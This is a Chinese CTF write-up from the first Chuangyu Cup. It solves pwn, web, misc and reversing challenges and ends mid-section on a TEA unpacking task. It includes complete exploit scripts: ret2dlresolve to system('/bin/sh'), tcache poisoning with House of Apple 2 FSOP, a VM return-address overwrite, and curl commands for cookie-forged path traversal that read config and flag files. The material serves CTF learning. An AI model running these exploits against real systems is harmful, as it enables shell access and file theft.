文章总结: 该文档为第一届创宇杯CTF比赛Writeup,包含三道题目解题过程:签到题通过分析game.js直接获取flag;pwn1blindrop利用32位程序栈溢出漏洞,通过伪造链接表调用system获取shell;PWN2–miao利用UAF漏洞泄露堆和libc地址,通过tcachepoisoning伪造IO_FILE结构触发FSOP(HouseofApple2)实现命令执行。文档详细展示了漏洞分析、利用思路和完整攻击脚本,对CTF学习者具有较高参考价值。
综合评分: 85
文章分类: CTF,二进制安全,漏洞分析,渗透测试,实战经验
第一届创宇杯wp
原创
三社院信息Sec
三社院信息Sec
三社院信息Sec
2026年9月20日 18:31
河南
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
01
签到题 (霓虹迷宫)
发现game.js
直接出铭文flag
flag{1dbc1e04-5de9-4dac-a8ae-5343dc2f04a5}
02
pwn1 blindrop
附件得到
file blindrop查看什么类型的文件
blindrop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=db111926e62c6169ec34af47ee5cb2c906b4de36, for GNU/Linux 3.2.0, with debug_info, not stripped
这里的回显可以看出是个32位的程序,依赖libc,而且显示 not stripped 不去符号,函数名字都还在
查看一下开的保护
python3 - <<'EOF'from pwn import *e = ELF('./blindrop')print(e.checksec())EOF
发现程序每次运行都可以运行,代码都是固定的地址,而且栈溢出不会被拦截
尝试答应出来符号表
python3 - <<'EOF'from pwn import *e = ELF('./blindrop')for k, v in sorted(e.symbols.items()): print(hex(v), k)EOF
其中有
感觉vuln可以尝试一下
我们就利用一下vuln尝试找找漏洞,用capstone反汇编一下vuln
python3 - <<'EOF'from pwn import *from capstone import *e = ELF('./blindrop')md = Cs(CS_ARCH_X86, CS_MODE_32)for ins in md.disasm(e.read(0x8049223, 0xa0), 0x8049223): print('0x%x: %-8s %s' % (ins.address, ins.mnemonic, ins.op_str))EOF
0x8049227: sub esp, 0x94 栈上开了0x940x8049257: push 0x400 0x804925c: lea eax, [c] 参数是buf 在栈上ebp-0x8c0x8049265: call 0x8049050 这里可能存在漏洞
从之前的输出的分析出栈布局从buf (ebp-0x8c)开始应该就是返回地址的偏移 =0x94=144字节 就是说payload前144的字节没用,145才是我们想要的地址,绕过方式:程序会比较ebp+8和edp-0xc是否相等两个相同就通过
利用read 把一套伪造的链接表写进内存,然后跳转到plt 的开头(plt0),动态链接就会以为是真。就会得出system(”/bin/sh”)
准备地址
python3 - <<'EOF'from pwn import *e = ELF('./blindrop')print('read@plt ', hex(e.plt['read']))print('plt0 ', hex(e.get_section_by_name('.plt').header.sh_addr))print('JMPREL ', hex(e.dynamic_value_by_tag('DT_JMPREL')))print('SYMTAB ', hex(e.dynamic_value_by_tag('DT_SYMTAB')))print('STRTAB ', hex(e.dynamic_value_by_tag('DT_STRTAB')))EOF
最后用脚本
import socket, struct, time
HOST, PORT = "challenge.xiaoyuyc.com", 35723def p32(x): return struct.pack("<I", x & 0xffffffff)
read_plt = 0x08049050plt0 = 0x08049030JMPREL = 0x080483b0SYMTAB = 0x080481ecSTRTAB = 0x080482bcpop3ret = 0x0804901f # add esp,8 ; pop ebx ; ret
B = 0x0804b300fake_reloc = Bfake_sym = B + 0x2csys_str = B + 0x60binsh_str = B + 0x80write_tgt = B + 0x100
sym_index = (fake_sym - SYMTAB) // 16reloc_offset = fake_reloc - JMPREL
# 伪造 Elf32_Rel + Elf32_Sym + "system" + "/bin/sh"rel = p32(write_tgt) + p32((sym_index << 8) | 7)sym = p32(sys_str - STRTAB) + p32(0) + p32(0) + bytes([0x12, 0]) + struct.pack("<H", 0)blob = bytearray(b"\x00" * 0x100)blob[0x00:0x08] = relblob[0x2c:0x3c] = symblob[0x60:0x67] = b"system\x00"blob[0x80:0x88] = b"/bin/sh\x00"blob = bytes(blob)
V = pop3retpayload = b"A" * 0x80 payload += p32(V) payload += p32(0) payload += p32(0) payload += p32(0) payload += p32(read_plt) payload += p32(V) payload += p32(0) payload += p32(B) payload += p32(len(blob)) payload += p32(plt0) payload += p32(reloc_offset) payload += p32(0) payload += p32(binsh_str)
s = socket.create_connection((HOST, PORT), timeout=10)s.settimeout(3)
def recv_until(marker, timeout=8): s.settimeout(timeout) data = b"" while marker not in data: try: chunk = s.recv(4096) except socket.timeout: break if not chunk: break data += chunk return data
recv_until(b"payload> ") s.sendall(payload) recv_until(b"canary check passed.") time.sleep(0.3)s.sendall(blob) time.sleep(0.5)s.sendall(b"cat flag\n")
time.sleep(2)s.settimeout(4)out = b""try: while True: c = s.recv(4096) if not c: break out += cexcept socket.timeout: passprint(out.decode(errors="replace"))
flag:flag{78497480-426b-4979-84da-c71d20675763}
03
PWN2–miao
先查看文件类型和保护措施
可以看到有Full RELRO 和glibc 2.35 → __free_hook / __malloc_hook,不能直接打got 和hook
就要试试fsop
开始逆向分析
objdump -d -M intel miao
数据结构
notes数组在.bss(PIE +0x4060`),共 16 项,每项 16 字节:
struct note { char *ptr; size_t size; };struct note notes[16];
unsigned long long read_num() { char buf[0x20]; memset(buf, 0, 0x20); read(0, buf, 0x1f); return strtoull(buf, 0, 0); }
索引都是 read_num 的返回值,后面用 <= 0xf 检查,无法越界。
add_note 新建笔记
void add_note() { int i = -1; for (int j = 0; j <= 15; j++) if (notes[j].ptr == NULL) { i = j; break; } if (i == -1) { puts("No free slot!"); return; }
printf("Size: "); size_t size = read_num(); if (size == 0 || size > 0x500) { puts("Invalid size!"); return; }
char *p = malloc(size); if (!p) { puts("Allocation failed!"); return; }
notes[i].ptr = p; notes[i].size = size; memset(p, 0, size); printf("Content: "); read(0, p, size); printf("Note %d created.\n", i);}
要点:size 最大 0x500,申请后会 memset 清 0,再 read 读入内容
delete_note —— 删除笔记
void delete_note() { printf("Index: "); size_t i = read_num(); if (i > 0xf) { puts("Invalid index!"); return; } if (notes[i].ptr) { free(notes[i].ptr); puts("Note deleted."); }}
free 之后 notes[i].ptr 仍然指向那块内存,于是可以
用 show 读已经 free 的 chunk(信息泄露)
用 edit 写已经 free 的 chunk(改 tcache 链表 → tcache poisoning)
重复 free(double free)
edit_note
void edit_note() { printf("Index: "); size_t i = read_num(); if (i > 0xf) { puts("Invalid index!"); return; } if (notes[i].ptr) { printf("Content: "); ssize_t n = read(0, notes[i].ptr, notes[i].size); if (n > 0) notes[i].ptr[notes[i].size] = 0; }}
配合 UAF,edit 可以改写已 free chunk 的 fd 指针(tcache poisoning)。末尾的 off-by-one 本题没用到,仅作了解
main
int main() { init(); puts("Here is a cute cat."); while (1) { menu(); size_t ch = read_num(); switch (ch) { case 1: add_note(); break; case 2: delete_note(); break; case 3: show_note(); break; case 4: edit_note(); break; case 5: puts("Bye!"); return 0; default: puts("Invalid!"); } }}
case 5 里 return 0,随后 main 返回、程序调用 exit(),进而触发 IOcleanup。这正是我们 FSOP 的触发点
漏洞是 deletenote free 后不清空指针造成 UAF,用它泄露 heap/libc,再在堆上伪造IOFILE 结构、通过 tcache poisoning 改写IOlistall,退出时触发 FSOP(House of Apple 2)最终调用 system(” sh”) 拿 shell
利用脚本
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *
context.arch = 'amd64'context.log_level = 'info'
# libc 偏移(glibc 2.35-0ubuntu3.8,已用 nm 验证)SYSTEM = 0x50d70IO_LIST_ALL = 0x21b680WFILE_JUMPS = 0x2170c0MAIN_ARENA_UNSORTED = 0x21ace0
def add(idx, size, data): io.sendlineafter(b">> ", b"1") io.sendlineafter(b"Size: ", str(size).encode()) io.sendafter(b"Content: ", data) io.recvuntil(b"created.\n")
def delete(idx): io.sendlineafter(b">> ", b"2") io.sendlineafter(b"Index: ", str(idx).encode())
def show(idx): io.sendlineafter(b">> ", b"3") io.sendlineafter(b"Index: ", str(idx).encode()) io.recvuntil(b"Content: ") return io.recvuntil(b"\n", drop=True)
def edit(idx, data): io.sendlineafter(b">> ", b"4") io.sendlineafter(b"Index: ", str(idx).encode()) io.sendafter(b"Content: ", data)
def build_fake(libc, F): fake = bytearray(0x4f0) # _IO_FILE @ F+0x000 fake[0x00:0x08] = b" sh\x00\x00" fake[0x68:0x70] = p64(0) fake[0x82] = 0 fake[0xa0:0xa8] = p64(F + 0x100) fake[0xc0:0xc4] = p32(1) fake[0xd8:0xe0] = p64(libc + WFILE_JUMPS) # _IO_wide_data @ F+0x100 fake[0x100+0x18:0x100+0x20] = p64(0) fake[0x100+0x20:0x100+0x28] = p64(1) fake[0x100+0x30:0x100+0x38] = p64(0) fake[0x100+0xe0:0x100+0xe8] = p64(F + 0x200) # 伪造 _wide_vtable @ F+0x200 fake[0x200+0x68:0x200+0x70] = p64(libc + SYSTEM) return bytes(fake)
def exploit(io): # 1) 泄露 heap add(0, 0x20, b"A"*0x20) add(1, 0x20, b"B"*0x20) delete(0) heap = u64(show(0)[:8]) << 12 log.success("heap = %#x", heap)
# 2) 泄露 libc add(2, 0x4f0, b"C"*0x4f0) add(3, 0x4f0, b"D"*0x4f0) delete(2) libc = u64(show(2)[:8]) - MAIN_ARENA_UNSORTED log.success("libc = %#x", libc)
# 3) 伪造 FILE 结构 @ F = heap+0x300 F = heap + 0x300 add(4, 0x4f0, build_fake(libc, F))
# 4) tcache poisoning 改 _IO_list_all add(5, 0x10, b"Z"*0x10) add(6, 0x10, b"Y"*0x10) Z2 = heap + 0xd20 delete(5) delete(6) edit(6, p64((libc + IO_LIST_ALL) ^ (Z2 >> 12)) + p64(0)) add(7, 0x10, b"J"*0x10) add(8, 0x10, p64(F) + p64(0))
# 5) 触发 FSOP io.sendline(b"5")
def main(): global io mode = sys.argv[1] if len(sys.argv) > 1 else "local" if mode == "remote": io = remote("challenge.xiaoyuyc.com", 23302) else: io = process(["./ld-linux-x86-64.so.2", "--library-path", ".", "./miao"])
exploit(io) io.sendline(b"echo __SHELL_OK__; ls -la; cat flag; cat /flag") print(io.recvall(timeout=8).decode(errors="replace"))
if __name__ == "__main__": main()
得出flag
flag{96ab2e76-3166-4b3c-9602-01a1beda0352}
04
pwn3-vmpwn
查看基础信息
代码地址固定,NX关闭栈可执行,还没有stripped,说明函数字齐全
查看逻辑
mian函数
程序接收你输入的虚拟机指令交给 runvm 执行,利用虚拟机栈溢出覆盖 runvm 返回地址跳 win 函数直接读取输出 /flag
虚拟机结构
run_vm(rdi=code, rsi=len) 的栈帧(sub rsp, 0x110)
vm+0xd0(vm[26])作为操作数栈计数 sp,初始为 0
rbp-0x10 作为指令指针 ip,初始为 0
操作数栈
vm_push(vm, val)
if (vm->sp > 15) { puts("stack overflow."); exit(0); }vm[sp + 10] = val; vm->sp = sp + 1;
vm_pop(vm)
if (vm->sp <= 0) { puts("stack underflow."); exit(0); }vm->sp = sp - 1;return vm[sp + 10];
漏洞点
run_vm 处理 opcode 2 的关键代码(Intel 语法
401630: movsx eax, BYTE PTR [rbp-0x14] 401634: cdqe401636: mov rdx, QWORD PTR [rbp-0x20] 40163a: mov QWORD PTR [rbp+rax*8-0x100], rdx
即 vm[reg] = val,而 reg 是一个有符号字节,取值范围 -128..127,完全没有检查
由于 vm 基址在 rbp-0x100,vm[33] 正好等于 rbp+8,也就是 run_vm 的返回地址
vm[33] = rbp - 0x100 + 33*8 = rbp + 8 -> saved return address
攻击思路
opcode 1 压入 win 的地址 0x4012c7
opcode ,reg = 33 (0x21),把它弹出并写进 run_vm 的返回地址
opcode 5停机,run_vm 执行 leave; ret时直接跳进 win
脚本
import struct, socket, sys
WIN = 0x4012C7
def build(): p = b'\x01' + struct.pack('<Q', WIN) # PUSH win p += b'\x02\x21' # MOV vm[33] = POP p += b'\x05' # HALT return p
def main(): payload = build() data = str(len(payload)).encode() + b'\n' + payload
# 本地调试:python3 exploit.py local if len(sys.argv) > 1 and sys.argv[1] == 'local': import subprocess out = subprocess.run( ['./ld-linux-x86-64.so.2', '--library-path', '.', './vmpwn'], input=data, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) sys.stdout.buffer.write(out.stdout) return
host = sys.argv[1] if len(sys.argv) > 1 else 'challenge.xiaoyuyc.com' port = int(sys.argv[2]) if len(sys.argv) > 2 else 32790 s = socket.create_connection((host, port), timeout=15) s.sendall(data) s.settimeout(5) buf = b'' try: while True: c = s.recv(4096) if not c: break buf += c except Exception: pass sys.stdout.buffer.write(buf)
if __name__ == '__main__': main()
得出flag
flag{1b3b7315-b730-4d16-a153-c6fd474df929}
05
misc截获
说明这是 Linux 下 usbmon 抓的 USB 流量
EPB 布局
偏移 长度 含义0 4 block type = 64 4 block total length8 4 interface id12 4 timestamp high16 4 timestamp low20 4 captured length 24 4 original length28 N ... options + trailing block length
usbmon mmapped 包头
偏移 长度 含义0 8 id (urb id)8 1 type 9 1 xfer_type 10 1 epnum 11 1 devnum 12 2 busnum 14 1 flag_setup15 1 flag_data16 8 ts_sec24 4 ts_usec28 4 status32 4 length 36 4 len_cap 40 8 setup 包64 len_cap 数据负载 (即 HID report)
抓到的包有两种长度:caplen=72(=64+8,完成包带 8 字节 HID 数据)、caplen=64(提交包,无数据)
定位键盘数据
type C xfer 1 ep 0x81 dev 4 bus 2 len 8 cap 8 data 0000390000000000type S xfer 1 ep 0x81 dev 4 bus 2 len 8 cap 0 datatype S xfer 2 ep 0x0 dev 4 bus 2 len 1 cap 1 data 03...
xfer=1 → 中断传输(键盘特征)
ep=0x81 → 中断 IN 端点,方向为设备→主机
en=8` → 标准 HID 键盘报告长度
因此过滤条件为:type==’C’ && xfer==1 && ep==0x81 && len_cap==8,共提取到 362 条 HID 报告
HID 键盘协议
标准 8 字节键盘报告结构(Boot Protocol)
byte0 : 修饰键位图 (0x02=左Shift, 0x20=右Shift, 0x01=左Ctrl...)byte1 : 保留byte2-7 : 当前按下的普通按键 Usage 码,最多 6 个
一个键持续按住时,后面每帧都会重复出现,只有从 “上一帧未出现” → “本帧出现” 才算一次新按下,修饰键:Shift 影响字母大小写和数字/符号上档(如 1 → !,[ → {) CapsLock(0x39):是 切换 状态,而不是持续按住
第一次解码
Hello! hacker, please keep this secret key safe and make sure it is not stolen by others.key:flag{}[←]f871360f-c350-42da-a7852-ds5b8a252d1e351[退格×3]4[←]...
拿到包含退格、左右光标移动的按键字节流,模拟文本缓冲区的光标增删操作还原出最终flag
import struct
def parse_usb_keyboard_pcapng(file_path): with open(file_path, 'rb') as f: data = f.read()
offset = 0 usb_key_reports = []
while offset < len(data): block_type, block_len = struct.unpack_from('<II', data, offset) if block_type == 6: captured_len = struct.unpack_from('<I', data, offset + 8 + 16)[0] packet_data = data[offset + 28: offset + 28 + captured_len] if len(packet_data) >= 64: transfer_type = chr(packet_data[8]) transfer_mode = packet_data[9] endpoint = packet_data[10] payload_len = struct.unpack_from('<I', packet_data, 36)[0] payload = packet_data[64: 64 + payload_len] if transfer_type == 'C' and transfer_mode == 1 and endpoint == 0x81 and payload_len == 8: usb_key_reports.append(payload) offset += block_len
prev_pressed = set() key_sequence = [] for report in usb_key_reports: current_keys = [k for k in report[2:] if k != 0] for key_code in current_keys: if key_code not in prev_pressed: key_sequence.append(key_code) prev_pressed = set(current_keys)
hid_char_map = { 0x04:'a',0x05:'b',0x06:'c',0x07:'d',0x08:'e',0x09:'f',0x0a:'g',0x0b:'h', 0x0c:'i',0x0d:'j',0x0e:'k',0x0f:'l',0x10:'m',0x11:'n',0x12:'o',0x13:'p', 0x14:'q',0x15:'r',0x16:'s',0x17:'t',0x18:'u',0x19:'v',0x1a:'w',0x1b:'x', 0x1c:'y',0x1d:'z', 0x2c:' ',0x2f:'{',0x30:'}',0x33:':',0x36:',',0x37:'.',0x2a:'\b',0x50:'<L>', 0x56:'-',0x59:'1',0x5a:'2',0x5b:'3',0x5c:'4',0x5d:'5',0x5e:'6', 0x5f:'7',0x60:'8',0x61:'9',0x62:'0',0x63:'.', }
try: start = key_sequence.index(0x30) except ValueError: return ""
buf, cur = list('flag{}'), 6 for k in key_sequence[start + 1:]: if k == 0x2a: if cur > 0: del buf[cur-1] cur -= 1 elif k == 0x50: if cur > 0: cur -= 1 elif k == 0x4f: if cur < len(buf): cur += 1 elif k in hid_char_map: buf.insert(cur, hid_char_map[k]) cur += 1 return ''.join(buf)
if __name__ == "__main__": res = parse_usb_keyboard_pcapng("flag.pcapng") print(res)
flag{f871360f-c353-42da-a782-d5b8a252d1e4}
06
薛定谔的猫
打开是空白pdf,尝试获得这个pdf
curl.exe -k -L -o "cat.pdf" "https://file.xiaoyuyc.com/cyctf/challenges/misc/1/cat.pdf"
不是pdf是个png
看看里面有没有藏东西
import struct
data = open('cat.pdf', 'rb').read()pos = 8while pos + 8 <= len(data): ln, typ = struct.unpack_from('>I4s', data, pos) print(typ.decode('latin1'), ln, pos) if typ == b'IEND': print('IEND ends at', pos + 12) break pos += 12 + ln
发现IEND 的结束位置在 904295,正常的 PNG 到 IEND 就结束了,后面应该是空的 ,大概率隐写了
搜索得知是个zip本地文件头签名PK\x03\x04
有脚本提取
data = open("cat.pdf","rb").read()zip_start = data.find(b'PK\x03\x04',904295)print(zip_start)
zip_data = data[zip_start:]open("out.zip","wb").write(zip_data)
有加密 一般不会跑字典大概率是伪加密
用脚本修改文件头,里面有个txt
import structimport zlib
data = open('cat.pdf', 'rb').read()zip_start = data.find(b'PK\x03\x04')z = data[zip_start:]
def extract(lfh_off, csz, out): fnl, exl = struct.unpack_from('<HH', z, lfh_off + 26) dstart = lfh_off + 30 + fnl + exl blob = z[dstart:dstart + csz] d = zlib.decompressobj(-15) raw = d.decompress(blob) + d.flush() open(out, 'wb').write(raw) return raw
png = extract(37, 1199402, 'Cat.png')txt = extract(1199483, 118, 'cat.txt')print(txt.decode())
半个base64
flag{efb7204a‑a4be‑4b5f‑9449‑5
剩下的大概率还藏着里面,返回继续看思路发现
EOCD既然还有56字节,大概率在里面了
import structimport zlibimport base64
data = open('cat.pdf', 'rb').read()zip_start = data.find(b'PK\x03\x04')z = data[zip_start:]
def extract(lfh_off, csz, out): fnl, exl = struct.unpack_from('<HH', z, lfh_off + 26) dstart = lfh_off + 30 + fnl + exl blob = z[dstart:dstart + csz] d = zlib.decompressobj(-15) raw = d.decompress(blob) + d.flush() open(out, 'wb').write(raw) return raw
png = extract(37, 1199402, 'Cat.png')txt = extract(1199483, 118, 'cat.txt')
print('cat.txt:', txt.decode())
eocd = z.find(b'PK\x05\x06')tail = z[eocd + 22:] # EOCD 固定 22 字节,之后就是多余的print('tail bytes:', tail)
# 把后半段 base64 拼回去part1 = txt.decode().strip()part2 = tail.decode('utf-8', 'ignore').strip()full_b64 = part1 + part2
pad = (4 - len(full_b64) % 4) % 4flag = base64.b64decode(full_b64 + '=' * pad).decode('utf-8', 'ignore')print('full flag:', flag)
解码后得到完整flag
flag{efb7204a-a4be-4b5f-9449-5ccd80ae3179}
07
web1-Hackers Blog
后缀居然是php?=1
尝试访问/admin/
后台页面只用一个 前端 JS 写入的 Cookie admin_auth=true 作为身份凭证,服务端并没有可靠的会话校验,还暴漏了后端php
直接尝试伪造进后台
直接get访问行不通
http://challenge.xiaoyuyc.com:34323/admin/home.php?admin_auth=true
用curl可以访问源码
curl -H "Cookie: admin_auth=true" http://challenge.xiaoyuyc.com:34323/admin/home.php
发现
download.php?file=templates/demo_template.txt
有个下载txt而且file 参数可控,试试能不能读取任意文件
curl "http://challenge.xiaoyuyc.com:34323/admin/download.php?file=home.php" -H "Cookie: admin_auth=true"
能返回源码
尝试访问/config.php但是被过滤了
说明存在对 .. 的过滤,但过滤逻辑不严(可能是字符串替换 / 黑名单)。用 ….// 可以绕过(….// 归一化后等价于 ../):
curl "http://challenge.xiaoyuyc.com:42797/admin/download.php?file=....//config.php" -H "Cookie: admin_auth=true"
环境过期了,换了个
成功读取到 config.php,拿到数据库配置;也确认 Web 根目录为 /var/www/html
直接读flag
curl "http://challenge.xiaoyuyc.com:42797/admin/download.php?file=....//....//....//....//flag" -H "Cookie: admin_auth=true"
flag{5a7aba14-b314-440f-9385-12a4c17b1db5}
08
maze
运行得到
尝试逆向回复一下符号
PE64,带 .symtab 但函数名在 Go 的 pclntab 里(go build -ldflags="-s -w" 只会去掉
DWARF/COFF 符号,不会去掉 Go 运行时符号表)
版本号
go1.24.5pclntab header: f1 ff ff ff 00 00 01 08 (magic 0xFFFFFFF1)
解析 pclntab(Go 1.20+ 格式,偏移均相对 pclntab 起点):
import struct
def main(): with open("maze.exe", "rb") as f: data = f.read()
PCLN = 0x10c7e0 # pclntab 文件偏移
# 小端解包工具函数 u32 = lambda offset: struct.unpack_from("<I", data, offset)[0] i32 = lambda offset: struct.unpack_from("<i", data, offset)[0] u64 = lambda offset: struct.unpack_from("<Q", data, offset)[0]
ptr = PCLN + 8 nfunc = u64(ptr); ptr += 8 nfiles = u64(ptr); ptr += 8 textStart= u64(ptr); ptr += 8 fnOff = u64(ptr); ptr += 8 cuOff = u64(ptr); ptr += 8 ftOff = u64(ptr); ptr += 8 pcOff = u64(ptr); ptr += 8 pclnOff = u64(ptr)
fnbase = PCLN + fnOff
def cstr(off): """从fnbase+off读取C风格0截断字符串""" str_start = fnbase + off null_pos = data.find(b"\x00", str_start) if null_pos == -1: return "" return data[str_start:null_pos].decode("utf‑8", errors="ignore")
functab = PCLN + pclnOff
for i in range(nfunc): entryoff = u32(functab + i * 8) funcoff = u32(functab + i * 8 + 4) name_offset = i32(functab + funcoff + 4) func_name = cstr(name_offset) if func_name.startswith("main."): print(f"{hex(textStart + entryoff)} {func_name}")
if __name__ == "__main__": main()
得到本题全部关键函数
0x4a2340 main.init0x4a2360 main.map.init.00x4a2460 main.initMaze0x4a25e0 main.generateMainPath0x4a26c0 main.validatePath0x4a27e0 main.calculateMD50x4a28e0 main.main
用 capstone 按 VA→文件偏移 反汇编即可(PE 节表映射:.text RVA 0x1000 / raw 0x600,
ImageBase 0x400000)
initMaze / generateMainPath 里都出现
lea rbx, [rip + 0x1513c0] ; -> VA 0x5f3960lea r9, [rip + 0x1512d7] ; -> VA 0x5f3960
即迷宫是一个静态全局数组,VA 0x5f3960(RVA 0x1f3960),
50 * 50 * 8 = 20000 字节([50][50]int64)
initMaze
双层循环把 50×50 全部置 1(墙)
call generateMainPath,seed =0x123456789abcdef0
内联的 addExtraPaths:300 次循环,用同一个 seed 重新起算的 LCG
state = state*M + C
r = (state >> 32) % 48 + 1
c = (state >> 16) % 48 + 1
grid[r][c] = 0 ; 随机在内部开洞
最后显式 grid[0][0] = 0(起点可走)
generateMainPath
generateMainPath
M = 0x5851f42d4c957f2dC = 0x14057b7ef767814fstate = seed每步: state = state * M + C (mod 2^64) dir = (state >> 62) & 3 dir 为偶数 -> 列 +1 ('R') dir 为奇数 -> 行 +1 ('D') 新格子 grid[row][col] = 0 若 +1 后越界(>=50) 则跳过(不移动,但仍消耗随机数)直到 (row, col) == (49, 49) 结束
因为只会单向 +行/+列,所以主路径天然就是一条长度 98 的最短路。
用 Python 复现
M = 0x5851f42d4c957f2dC = 0x14057b7ef767814fMASK = (1 << 64) - 1SEED = 0x123456789abcdef0
state, r, c, path = SEED, 0, 0, []while not (r == 49 and c == 49): state = (state * M + C) & MASK d = (state >> 62) & 3 if d % 2 == 0: if c < 49: c += 1; path.append('R') else: if r < 49: r += 1; path.append('D')path = ''.join(path)print(len(path), path)
98步
RRDRRDDRRRDRRRDDDRDRRRRDDRDDDRRDDDRRRRRRDRRRDDDRRDDRDRRDRRDRDRDDDDDDRDRRDRDDDDRRDRDDRRDDRDRDDRDRDD
// rax = 输入字符串指针, rbx = 长度int x = 0, y = 0;for (i = 0; i < len; ) { ch = input[i]; // UTF-8 解码 if (map[ch] == nil) return 0; nx = x + map[ch].dx; ny = y + map[ch].dy; if (nx >= 50 || ny >= 50) return 0; // 越界 if (grid[nx][ny] == 1) return 0; // 撞墙 x = nx; y = ny;}return (x == 49 && y == 49);
main.main 与 Flag 计算
读入一行 -> strings.TrimSpaceif !validatePath(path) { fmt.Println("路径错误"); os.Exit(1); }s = fmt.Sprintf("%s:%d", path, len(path))h = calculateMD5(s) // 32 位小写 hexflag = "flag{" + h + "}"fmt.Printf("Flag: %s\n", flag)
脚本
import hashlibfrom collections import deque
M = 0x5851f42d4c957f2dC = 0x14057b7ef767814fMASK = (1 << 64) - 1SEED = 0x123456789abcdef0
def lcg(s): return (s * M + C) & MASK
# 1.重建50*50迷宫def build_maze(): grid = [[1] * 50 for _ in range(50)] state = SEED a, b = 0, 0 # 生成主路径 while not (a == 49 and b == 49): state = lcg(state) d = (state >> 62) & 3 if d % 2 == 0: # 偶数,向右,列+1 if b < 49: b += 1 else: # 奇数,向下,行+1 if a < 49: a += 1 grid[a][b] = 0
# 额外300次随机开洞 state = SEED for _ in range(300): state = lcg(state) r = ((state >> 32) % 48) + 1 c = ((state >> 16) % 48) + 1 grid[r][c] = 0
grid[0][0] = 0 return grid
grid = build_maze()
# 2.路径校验函数def valid_path(path): x, y = 0, 0 for ch in path: if ch == 'R': y += 1 elif ch == 'D': x += 1 elif ch == 'U': x -= 1 elif ch == 'L': y -= 1 else: return False # 越界检查 if not (0 <= x < 50 and 0 <= y < 50): return False # 撞墙 if grid[x][y] == 1: return False # 是否到达终点(49,49) return x == 49 and y == 49
# 3.BFS求最短路,方向顺序 U,R,D,L,顺序不改动def bfs_solve(): # 方向元组:字符,dx,dy dirs = [('U', -1, 0), ('R', 0, 1), ('D', 1, 0), ('L', 0, -1)] dist = [[-1] * 50 for _ in range(50)] prev = dict() dist[0][0] = 0 q = deque() q.append((0, 0))
while q: x, y = q.popleft() for ch, dx, dy in dirs: nx = x + dx ny = y + dy if 0 <= nx < 50 and 0 <= ny < 50 and dist[nx][ny] < 0: if (nx == 0 and ny == 0) or grid[nx][ny] == 0: dist[nx][ny] = dist[x][y] + 1 prev[(nx, ny)] = (x, y, ch) q.append((nx, ny))
# 回溯路径 cur = (49, 49) path_buf = [] while cur != (0, 0): px, py, move_ch = prev[cur] path_buf.append(move_ch) cur = (px, py) path_buf.reverse() return "".join(path_buf)
if __name__ == "__main__": res_path = bfs_solve() print("path :", res_path, len(res_path)) print("valid:", valid_path(res_path))
payload_str = f"{res_path}:{len(res_path)}" md5_hash = hashlib.md5(payload_str.encode()).hexdigest() flag = f"flag{{{md5_hash}}}" print("FLAG :", flag)
flag{a3fa97e1e52759ea6b4122c7008cb9e5}
09
tea
脱壳
import ctypesimport ctypes.wintypes as wimport subprocessimport timeimport pickle
EXE_PATH = r"tea.exe"
def main(): # 启动目标进程 proc = subprocess.Popen( [EXE_PATH], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT ) time.sleep(2.0) # 等待壳解压完成,阻塞在fgets pid = proc.pid
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True) kernel32.OpenProcess.restype = w.HANDLE # VM_READ(0x10) | QUERY_INFORMATION(0x400) h_process = kernel32.OpenProcess(0x10 | 0x400, False, pid)
# MEMORY_BASIC_INFORMATION 结构体 class MEMORY_BASIC_INFORMATION(ctypes.Structure): _fields_ = [ ("BaseAddress", ctypes.c_ulonglong), ("AllocationBase", ctypes.c_ulonglong), ("AllocationProtect", w.DWORD), ("__a1", w.DWORD), ("RegionSize", ctypes.c_ulonglong), ("State", w.DWORD), ("Protect", w.DWORD), ("Type", w.DWORD), ("__a2", w.DWORD), ]
mbi = MEMORY_BASIC_INFORMATION() kernel32.VirtualQueryEx.argtypes = [ w.HANDLE, ctypes.c_ulonglong, ctypes.POINTER(MEMORY_BASIC_INFORMATION), ctypes.c_size_t ] kernel32.ReadProcessMemory.argtypes = [ w.HANDLE, ctypes.c_ulonglong, ctypes.c_void_p, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t) ]
regions = [] current_addr = 0 buf = ctypes.create_string_buffer(0x200000) read_bytes = ctypes.c_size_t(0)
while current_addr < 0x7FFFFFFFFFFF: ret = kernel32.VirtualQueryEx( h_process, current_addr, ctypes.byref(mbi), ctypes.sizeof(mbi) ) if ret == 0: break
base = mbi.BaseAddress region_size = mbi.RegionSize if region_size == 0: break
# 条件:MEM_COMMIT(0x1000),排除 PAGE_GUARD(0x100)、PAGE_NOACCESS(0x01) if mbi.State == 0x1000 and (mbi.Protect & 0x100) == 0 and (mbi.Protect & 1) == 0: data_buffer = bytearray() ptr = base remain = region_size success = True
while remain > 0: chunk_size = min(remain, len(buf)) if kernel32.ReadProcessMemory( h_process, ptr, buf, chunk_size, ctypes.byref(read_bytes) ): data_buffer += buf.raw[:read_bytes.value] else: success = False break ptr += chunk_size remain -= chunk_size
if success: regions.append((base, bytes(data_buffer), mbi.Protect))
current_addr = base + region_size
# 保存dump内存区域 with open("regions.pkl", "wb") as f: pickle.dump(regions, f)
proc.kill()
if __name__ == "__main__": main()
0x7ff7b68c1000,大小0x14000,权限RWX—— **解壳后的镜像**(基址0x7ff7b68c0000`),
+0x3000处是“flag{“`
+0x3020` 处是 40 字节密文
+0x3090处是“Please enter the flag: “、“Correct! well done.”、“Wrong flag.”`
把这 0x14000 字节保存为 payload.bin,即可离线反汇编。
分析
数据部分(payload 偏移)
+0x3020 enc_words[10] = // 10 个 uint32,共 40 字节密文 e349767d 2cc58262 64f2fef4 7088cb55 2a75aea8 3fd53aa3 027ca31f 1c601361 b418ef60 2c1131eb
+0x3050 A[4] = 1f2e3d4c 0a0b0c0d 11223344 55667788+0x3060 B[4] = aabbccdd 99aabbcc 33445566 77889900+0x3070 C[4] = 01020304 05060708 09101112 13141516+0x3080 D[4] = deadbeef feedface abad1dea 0badf00d
+0x3090 "Please enter the flag: " "Correct! well done." "Wrong flag."
reconstruct_key(payload 偏移 0x513)
对 i = 0..3:
ecx = A[i]ecx ^= B[i]ecx += C[i]edx = D[i]edx ^= ecxout[i] = edx
key[i] = D[i] ^ ((A[i] ^ B[i]) + C[i])
teadecryptblock
